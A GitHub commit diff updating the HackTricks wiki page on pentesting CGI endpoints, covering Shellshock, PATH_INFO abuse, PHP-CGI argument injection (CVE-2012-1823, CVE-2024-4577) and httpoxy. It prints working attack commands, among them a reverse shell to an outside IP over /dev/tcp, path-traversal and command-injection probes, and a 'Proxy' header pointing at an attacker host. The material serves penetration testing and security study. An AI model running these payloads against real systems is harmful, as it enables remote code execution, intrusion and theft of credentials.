Skip to content

Commit fe3898e

Browse files
authored
Merge pull request #2185 from HackTricks-wiki/research_update_src_network-services-pentesting_pentesting-web_cgi_20260430_034154
Research Update Enhanced src/network-services-pentesting/pen...
2 parents 341ceb3 + 7104b3e commit fe3898e

1 file changed

Lines changed: 86 additions & 7 deletions

File tree

  • src/network-services-pentesting/pentesting-web

src/network-services-pentesting/pentesting-web/cgi.md

Lines changed: 86 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,16 @@
55

66
## Information
77

8-
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it.
9-
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\)
8+
**CGI is an interface, not a language**: on real targets you'll find legacy **Perl**, **sh**, **Python**, and sometimes **compiled binaries** behind `*.cgi`. If you compromise a server that can execute uploaded CGI files, adapting a payload to the interpreter already used by the host is often enough. For example, a **Perl reverse shell** such as `/usr/share/webshells/perl/perl-reverse-shell.pl` can be renamed to `*.cgi`, marked executable \(`chmod +x`\), and triggered over HTTP.
9+
10+
In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\).
11+
12+
Quick methodology:
13+
14+
- Enumerate classic locations and extensions: `/cgi-bin/`, `/cgi-sys/`, `*.cgi`, `*.pl`, `*.sh`, `*.py`.
15+
- Fuzz how the target handles **extra path data** after the script name: `/cgi-bin/status.cgi/test`, `/cgi-bin/status.cgi//x`, encoded slashes, `;`, `.` and `..`.
16+
- If you suspect Apache-specific CGI weirdness \(source disclosure via absolute paths, local redirects, handler confusion\), check [Apache](apache.md).
17+
- If the stack is really **FastCGI/PHP-FPM** instead of classic CGI, check [9000 - Pentesting FastCGI](../9000-pentesting-fastcgi.md).
1018

1119
## **ShellShock**
1220

@@ -59,6 +67,31 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
5967
> run
6068
```
6169

70+
## PATH_INFO / PATH_TRANSLATED abuse
71+
72+
According to RFC 3875, everything after the CGI script path is exposed to the application as **`PATH_INFO`**, and some servers also derive a filesystem-looking **`PATH_TRANSLATED`** value from it. In practice, many CGI handlers either:
73+
74+
- ignore `PATH_INFO` when they should reject it
75+
- use it as an internal router \(selecting actions or files\)
76+
- concatenate it into filesystem paths or shell commands
77+
78+
Quick probes:
79+
80+
```bash
81+
curl -i http://target/cgi-bin/app.cgi/test
82+
curl -i http://target/cgi-bin/app.cgi/%2e%2e/%2e%2e/etc/passwd
83+
curl -i http://target/cgi-bin/app.cgi/.//admin
84+
curl -i http://target/cgi-bin/app.cgi/;id
85+
```
86+
87+
What you are looking for:
88+
89+
- different content/auth decisions when extra path exists
90+
- file-open errors leaking translated filesystem paths
91+
- handlers that map `PATH_INFO` directly to templates, language files, firmware objects, or helper scripts
92+
93+
If a script does **not** expect extra path data but still accepts it, treat that as a strong signal and keep fuzzing encoded separators, duplicate slashes, and dot segments.
94+
6295
## Centralized CGI dispatchers (single endpoint routing via selector parameters)
6396

6497
Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, `/cgi-bin/cstecgi.cgi`) and use a selector parameter such as `topicurl=<handler>` to route the request to an internal function.
@@ -91,9 +124,11 @@ Detection and hardening:
91124
- Flag parameters that begin with `-` (argv option injection attempts).
92125
- Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.
93126

94-
## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
127+
## PHP + CGI argument injection = RCE
95128

96-
Basically if cgi is active and php is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.
129+
### Old PHP-CGI \(CVE-2012-1823, CVE-2012-2311\)
130+
131+
If CGI is active and PHP is "old" \(&lt;5.3.12 / &lt; 5.4.2\) you can execute code.
97132
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters \(specially without sending the character "="\).
98133
Then, in order to test this vulnerability, you could access for example `/index.php?-s` \(note the `-s`\) and **source code of the application will appear in the response**.
99134

@@ -106,14 +141,58 @@ curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:500
106141

107142
**More info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
108143

109-
## **Proxy \(MitM to Web server requests\)**
144+
### Modern Windows PHP-CGI bypass \(CVE-2024-4577\)
145+
146+
In June 2024, PHP-CGI argument injection came back on **Windows**. The bug abuses Windows **Best-Fit** conversion: a **soft hyphen** \(`%AD`, `0xAD`\) can be transformed into a real `-` before PHP parses arguments, bypassing the old protection from CVE-2012-1823. This has been especially relevant in **XAMPP for Windows** and other deployments where PHP is reachable through CGI handlers.
147+
148+
Quick test:
149+
150+
```bash
151+
curl -i -X POST \
152+
--data "<?php phpinfo(); die(); ?>" \
153+
"http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
154+
```
155+
156+
If the response renders `phpinfo()` or otherwise executes your body, you have code execution. Swap the body for any PHP payload:
157+
158+
```bash
159+
curl -i -X POST \
160+
--data "<?php system('whoami'); die(); ?>" \
161+
"http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
162+
```
163+
164+
Notes:
165+
166+
- The `%AD` bytes are the important part: they are the attacker-controlled "soft hyphens".
167+
- This was reproduced in the wild mainly against **Windows Chinese/Japanese locales**, but if you see Windows PHP-CGI exposure, just test it.
168+
- Patched versions start at `8.3.8`, `8.2.20`, and `8.1.29`.
169+
170+
## **Proxy / `HTTP_PROXY` \(httpoxy\)**
171+
172+
CGI creates an environment variable for each HTTP header in the request. For example, `Host: web.com` becomes `HTTP_HOST=web.com`.
173+
That also means `Proxy: http://attacker:8080` becomes **`HTTP_PROXY`**, which may collide with libraries that trust `HTTP_PROXY` as the proxy for **outgoing** requests.
174+
175+
If the CGI application performs server-side HTTP requests during your session \(update checks, webhooks, API calls, avatar fetches, SSO helpers, etc.\), try:
176+
177+
```bash
178+
curl -H 'Proxy: http://ATTACKER:8080' http://target/cgi-bin/report.cgi
179+
```
180+
181+
If the application or one of its libraries trusts `HTTP_PROXY`, you may:
182+
183+
- proxy the victim's outbound requests through your host
184+
- steal internal HTTP traffic, credentials or tokens
185+
- redirect internal subrequests to attacker-chosen destinations
110186

111-
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
187+
Useful notes:
112188

113-
As the HTTP_PROXY variable could be used by the web server. Try to send a **header** containing: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" and if the server performs any request during the session. You will be able to capture each request made by the server.
189+
- This pattern is commonly known as **httpoxy**.
190+
- Historically it affected CGI-style PHP, Python CGI handlers, and Go `net/http/cgi` style deployments.
191+
- Simply unsetting `$_SERVER['HTTP_PROXY']` in PHP may be insufficient if the code or library reads from `getenv('HTTP_PROXY')`.
114192

115193
## **References**
116194

195+
- [Orange Tsai - CVE-2024-4577: Yet Another PHP RCE, Make PHP-CGI Argument Injection Great Again!](https://blog.orange.tw/posts/2024-06-cve-2024-4577-yet-another-php-rce/)
117196
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
118197

119198
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)